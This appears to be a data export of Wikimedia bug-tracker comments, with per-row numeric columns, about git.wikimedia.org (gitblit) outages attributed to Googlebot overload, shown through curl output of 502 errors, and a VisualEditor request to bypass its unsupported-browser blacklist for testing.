ago"",""d"":""2013-04-08"",""i"":"""",""c"":1},{""p"":""VisualEditor"",""n"":""VisualEditor"",""t"":""6 months ago"",""d"":""2013-01-29"",""i"":"""",""c"":1},{""p"":""glam"",""n"":""glam"",""t"":""10 months ago"",""d"":""2012-10-11"",""i"":"""",""c"":1}];
}

/*-->]]>*/</script>

<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
<!-- AngularJS activeCtrl data controller -->
function activeCtrl($scope) {
	$scope.activeList = [{""r"":""mediawiki/extensions.git"",""n"":""extensions"",""p"":""mediawiki/"",""t"":""18 mins ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#7110a6"",""wc"":0},{""r"":""mediawiki/core.git"",""n"":""core"",""p"":""mediawiki/"",""t"":""2 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#3810a6"",""wc"":0},{""r"":""mediawiki/extensions/TranslationNotifications.git"",""n"":""TranslationNotifications"",""p"":""mediawiki/extensions/"",""t"":""2 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#1068a6"",""wc"":0},{""r"":""mediawiki/extensions/LaTeXML.git"",""n"":""LaTeXML"",""p"":""mediawiki/extensions/"",""t"":""5 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#a67b10"",""wc"":0},{""r"":""labs/tools/lolrrit.git"",""n"":""lolrrit"",""p"":""labs/tools/"",""t"":""5 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6102e"",""wc"":0},{""r"":""mediawiki/extensions/PollNY.git"",""n"":""PollNY"",""p"":""mediawiki/extensions/"",""t"":""7 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61029"",""wc"":0},{""r"":""operations/puppet.git"",""n"":""puppet"",""p"":""operations/"",""t"":""8 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#106ca6"",""wc"":0},{""r"":""mediawiki/extensions/Wikibase.git"",""n"":""Wikibase"",""p"":""mediawiki/extensions/"",""t"":""9 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a310a6"",""wc"":0},{""r"":""mediawiki/extensions/EventLogging.git"",""n"":""EventLogging"",""p"":""mediawiki/extensions/"",""t"":""9 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a631"",""wc"":0},{""r"":""mediawiki/extensions/WikimediaMessages.git"",""n"":""WikimediaMessages"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64510"",""wc"":0},{""r"":""mediawiki/extensions/Wikilog.git"",""n"":""Wikilog"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6106c"",""wc"":0},{""r"":""mediawiki/extensions/WikiLexicalData.git"",""n"":""WikiLexicalData"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#101da6"",""wc"":0},{""r"":""mediawiki/extensions/WikiForum.git"",""n"":""WikiForum"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a618"",""wc"":0},{""r"":""mediawiki/extensions/WikiEditor.git"",""n"":""WikiEditor"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8310a6"",""wc"":0},{""r"":""mediawiki/extensions/VisualEditor.git"",""n"":""VisualEditor"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1aa610"",""wc"":0},{""r"":""mediawiki/extensions/Validator.git"",""n"":""Validator"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#109ca6"",""wc"":0},{""r"":""mediawiki/extensions/UserMerge.git"",""n"":""UserMerge"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#2ea610"",""wc"":0},{""r"":""mediawiki/extensions/UploadWizard.git"",""n"":""UploadWizard"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#3110a6"",""wc"":0},{""r"":""mediawiki/extensions/UniversalLanguageSelector.git"",""n"":""UniversalLanguageSelector"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6510a6"",""wc"":0},{""r"":""mediawiki/extensions/TwnMainPage.git"",""n"":""TwnMainPage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8d10a6"",""wc"":0},{""r"":""mediawiki/extensions/Translate.git"",""n"":""Translate"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1099a6"",""wc"":0},{""r"":""mediawiki/extensions/Sudo.git"",""n"":""Sudo"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61060"",""wc"":0},{""r"":""mediawiki/extensions/SemanticMediaWiki.git"",""n"":""SemanticMediaWiki"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a627"",""wc"":0},{""r"":""mediawiki/extensions/SemanticForms.git"",""n"":""SemanticForms"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61013"",""wc"":0},{""r"":""mediawiki/extensions/SemanticDrilldown.git"",""n"":""SemanticDrilldown"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61074"",""wc"":0},{""r"":""mediawiki/extensions/SecurePoll.git"",""n"":""SecurePoll"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61079"",""wc"":0},{""r"":""mediawiki/extensions/RevisionCommentSupplement.git"",""n"":""RevisionCommentSupplement"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#102ca6"",""wc"":0},{""r"":""mediawiki/extensions/Renameuser.git"",""n"":""Renameuser"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a6a3"",""wc"":0},{""r"":""mediawiki/extensions/ProofreadPage.git"",""n"":""ProofreadPage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#3110a6"",""wc"":0},{""r"":""mediawiki/extensions/Premoderation.git"",""n"":""Premoderation"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7ea610"",""wc"":0},{""r"":""mediawiki/extensions/Phalanx.git"",""n"":""Phalanx"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7610a6"",""wc"":0},{""r"":""mediawiki/extensions/PageSchemas.git"",""n"":""PageSchemas"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64510"",""wc"":0},{""r"":""mediawiki/extensions/OpenStackManager.git"",""n"":""OpenStackManager"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a62c"",""wc"":0},{""r"":""mediawiki/extensions/OAuth.git"",""n"":""OAuth"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a636"",""wc"":0},{""r"":""mediawiki/extensions/Nuke.git"",""n"":""Nuke"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1056a6"",""wc"":0},{""r"":""mediawiki/extensions/NewUserMessage.git"",""n"":""NewUserMessage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1051a6"",""wc"":0},{""r"":""mediawiki/extensions/MoodBar.git"",""n"":""MoodBar"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64210"",""wc"":0},{""r"":""mediawiki/extensions/MobileFrontend.git"",""n"":""MobileFrontend"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4ca610"",""wc"":0},{""r"":""mediawiki/extensions/MathSearch.git"",""n"":""MathSearch"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a63110"",""wc"":0},{""r"":""mediawiki/extensions/Math.git"",""n"":""Math"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#97a610"",""wc"":0},{""r"":""mediawiki/extensions/MassMessage.git"",""n"":""MassMessage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#36a610"",""wc"":0},{""r"":""mediawiki/extensions/MassEditRegex.git"",""n"":""MassEditRegex"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61083"",""wc"":0},{""r"":""mediawiki/extensions/Maintenance.git"",""n"":""Maintenance"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#9910a6"",""wc"":0},{""r"":""mediawiki/extensions/LiquidThreads.git"",""n"":""LiquidThreads"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68810"",""wc"":0},{""r"":""mediawiki/extensions/LinkFilter.git"",""n"":""LinkFilter"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1038a6"",""wc"":0},{""r"":""mediawiki/extensions/LastModified.git"",""n"":""LastModified"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#63a610"",""wc"":0},{""r"":""mediawiki/extensions/InviteSignup.git"",""n"":""InviteSignup"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a67b10"",""wc"":0},{""r"":""mediawiki/extensions/Interwiki.git"",""n"":""Interwiki"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61033"",""wc"":0},{""r"":""mediawiki/extensions/ImageMap.git"",""n"":""ImageMap"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a654"",""wc"":0},{""r"":""mediawiki/extensions/GoogleMaps.git"",""n"":""GoogleMaps"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#83a610"",""wc"":0},{""r"":""mediawiki/extensions/GlobalBlocking.git"",""n"":""GlobalBlocking"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7610a6"",""wc"":0},{""r"":""mediawiki/extensions/GettingStarted.git"",""n"":""GettingStarted"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4510a6"",""wc"":0},{""r"":""mediawiki/extensions/FlaggedRevs.git"",""n"":""FlaggedRevs"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#9710a6"",""wc"":0},{""r"":""mediawiki/extensions/ExpandTemplates.git"",""n"":""ExpandTemplates"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61042"",""wc"":0},{""r"":""mediawiki/extensions/EducationProgram.git"",""n"":""EducationProgram"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#65a610"",""wc"":0},{""r"":""mediawiki/extensions/Editcount.git"",""n"":""Editcount"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1036a6"",""wc"":0},{""r"":""mediawiki/extensions/Echo.git"",""n"":""Echo"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64f10"",""wc"":0},{""r"":""mediawiki/extensions/DiscussionThreading.git"",""n"":""DiscussionThreading"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68d10"",""wc"":0},{""r"":""mediawiki/extensions/Disambiguator.git"",""n"":""Disambiguator"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a63b10"",""wc"":0},{""r"":""mediawiki/extensions/DeleteBatch.git"",""n"":""DeleteBatch"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#104fa6"",""wc"":0},{""r"":""mediawiki/extensions/DataValues.git"",""n"":""DataValues"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64f10"",""wc"":0},{""r"":""mediawiki/extensions/DataTransfer.git"",""n"":""DataTransfer"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61018"",""wc"":0},{""r"":""mediawiki/extensions/ConfirmEdit.git"",""n"":""ConfirmEdit"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6108d"",""wc"":0},{""r"":""mediawiki/extensions/ConfirmAccount.git"",""n"":""ConfirmAccount"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7ba610"",""wc"":0},{""r"":""mediawiki/extensions/Configure.git"",""n"":""Configure"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#36a610"",""wc"":0},{""r"":""mediawiki/extensions/Comments.git"",""n"":""Comments"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8f10a6"",""wc"":0},{""r"":""mediawiki/extensions/Commentbox.git"",""n"":""Commentbox"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a62910"",""wc"":0},{""r"":""mediawiki/extensions/Collection.git"",""n"":""Collection"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66a10"",""wc"":0},{""r"":""mediawiki/extensions/CheckUser.git"",""n"":""CheckUser"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61045"",""wc"":0},{""r"":""mediawiki/extensions/CentralNotice.git"",""n"":""CentralNotice"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a68d"",""wc"":0},{""r"":""mediawiki/extensions/CentralAuth.git"",""n"":""CentralAuth"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a65e10"",""wc"":0},{""r"":""mediawiki/extensions/Campaigns.git"",""n"":""Campaigns"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#13a610"",""wc"":0},{""r"":""mediawiki/extensions/BookManagerv2.git"",""n"":""BookManagerv2"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#56a610"",""wc"":0},{""r"":""mediawiki/extensions/Babel.git"",""n"":""Babel"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1085a6"",""wc"":0},{""r"":""mediawiki/extensions/ArticleFeedbackv5.git"",""n"":""ArticleFeedbackv5"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a65110"",""wc"":0},{""r"":""mediawiki/extensions/Ads.git"",""n"":""Ads"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a3a6"",""wc"":0},{""r"":""mediawiki/extensions/AbuseFilter.git"",""n"":""AbuseFilter"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4aa610"",""wc"":0},{""r"":""mediawiki/extensions/APC.git"",""n"":""APC"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6c10a6"",""wc"":0},{""r"":""openzim.git"",""n"":""openzim"",""p"":"""",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66310"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseDataModel.git"",""n"":""WikibaseDataModel"",""p"":""mediawiki/extensions/"",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6510a6"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseQueryEngine.git"",""n"":""WikibaseQueryEngine"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68f10"",""wc"":0},{""r"":""mediawiki/extensions/UpdateMediaWiki.git"",""n"":""UpdateMediaWiki"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#2910a6"",""wc"":0},{""r"":""mediawiki/extensions/Serialization.git"",""n"":""Serialization"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1045a6"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseDatabase.git"",""n"":""WikibaseDatabase"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a627"",""wc"":0},{""r"":""mediawiki/extensions/Diff.git"",""n"":""Diff"",""p"":""mediawiki/extensions/"",""t"":""17 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66a10"",""wc"":0},{""r"":""mediawiki/extensions/Ask.git"",""n"":""Ask"",""p"":""mediawiki/extensions/"",""t"":""17 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a67b"",""wc"":0},{""r"":""pywikibot/core.git"",""n"":""core"",""p"":""pywikibot/"",""t"":""21 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#22a610"",""wc"":0}];
}

/*-->]]>*/</script>

</head>

	<body>

		<!-- page content -->
		[a metric fuckton of HTML]

		<!-- Override Bootstrap's responsive menu background highlighting -->
		<style>
	SCREEN_NAME (max-width: 979px) {
			.nav-collapse .nav > li > a:hover, .nav-collapse .dropdown-menu a:hover {
				background-color: #002060;
			}
			
			.navbar div > ul .dropdown-menu li a {
				color: #ccc;
			}
		}
		</style>
		
		<!-- Include scripts at end for faster page loading -->
		<script type=""text/javascript"" src=""bootstrap/js/jquery.js""></script>
		<script type=""text/javascript"" src=""bootstrap/js/bootstrap.js""></script>		
	</body>
</html>
real	10m1.110s
user	0m0.018s
sys	0m0.028s"
242552,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"It's happening again. :-(

$ time curl https://git.wikimedia.org
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

real	12m1.110s
user	0m0.015s
sys	0m0.021s",,,1374468155,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,1.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,1.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,8.5,0.0,0.0,4.5,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.5,2.0,12.0,0.0,1.0,0.0,0.5,0.0,0.0,2.0,0.0,1.5,0.0,0.0,13.5,4.122171945701357,0.6702488687782806,"It's happening again. :-(

$ time curl URL
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

real	12m1.110s
user	0m0.015s
sys	0m0.021s"
242547,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"Restarted the service. Two things:

A) I'm doing some logging this time so I can figure out why it's crashing
B) I'm going to finish puppetizing and packaging this starting tomorrow so it'll take care of this better

Hopefully we can find an easy fix for this, but (B) is necessary anyway.",,,1374450350,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,1.0,6.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,6.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,13.0,4.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,9.0,9.0,4.0,0.0,0.0,0.0,9.0,0.0,1.0,1.0,0.0,9.0,1.0,0.0,0.0,3.5970149253731343,0.7910447761194029,"Restarted the service. Two things:

A) I'm doing some logging this time so I can figure out why it's crashing
B) I'm going to finish puppetizing and packaging this starting tomorrow so it'll take care of this better

Hopefully we can find an easy fix for this, but (B) is necessary anyway."
242542,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,git.wikimedia.org being down is highly disruptive to support work in #mediawiki.,,,1374442461,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.384615384615385,1.0,git.wikimedia.org being down is highly disruptive to support work in #mediawiki.
242538,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"This is probably a duplicate of bug 51656, but I'll just add that bug as a see also to this bug.

Confirming the current issue:

$ curl https://git.wikimedia.org/
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>",,,1374427922,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,1.0,6.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,2.5,3.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.5,1.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,10.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,0.5,10.5,0.0,0.5,7.5,0.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.5,3.5,10.5,0.0,1.0,0.0,0.5,0.0,0.0,3.0,0.0,1.5,0.0,0.0,16.0,4.026315789473684,0.6842105263157894,"This is probably a duplicate of bug 51656, but I'll just add that bug as a see also to this bug.

Confirming the current issue:

$ curl URL
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>"
53765,VisualEditor: Bypass browser blacklist,"Could we have a way to bypass the browser blacklist. e.g.
1. a user preference to ignore the blacklist during initialisation, or
2. ?debug=true bypasses blacklist,
3. a test-wiki where the blacklist is empty/ignored, or
4. a simple way to re-run VE init from JS console

This will allow mere mortals to help identify bugs with unsupported browsers.

For option four, we can modify the blacklist, like so:

JS> delete mw.libs.ve.blacklist.opera;

But im not sure what to do after that.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=55900",Medium,50.0,1374370800,1381630832.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-iycnxhmj2yiay4bvfsic,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.5,5.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,3.0,7.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,12.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.5,7.5,0.5,1.5,5.5,0.0,0.0,0.0,0.0,6.5,0.0,3.5,0.0,2.0,7.5,1.5,0.5,0.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.5,3.596981891348088,0.6807847082494969,"Could we have a way to bypass the browser blacklist. e.g.
1. a user preference to ignore the blacklist during initialisation, or
2. ?debug=true bypasses blacklist,
3. a test-wiki where the blacklist is empty/ignored, or
4. a simple way to re-run VE init from JS console

This will allow mere mortals to help identify bugs with unsupported browsers.

For option four, we can modify the blacklist, like so:

JS> delete mw.libs.ve.blacklist.opera;

But im not sure what to do after that.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
242341,VisualEditor: Bypass browser blacklist,"The code for this enhancement request had already been written before the bug rasied, but wasn't deployed at that time.
https://gerrit.wikimedia.org/r/#/c/74574/
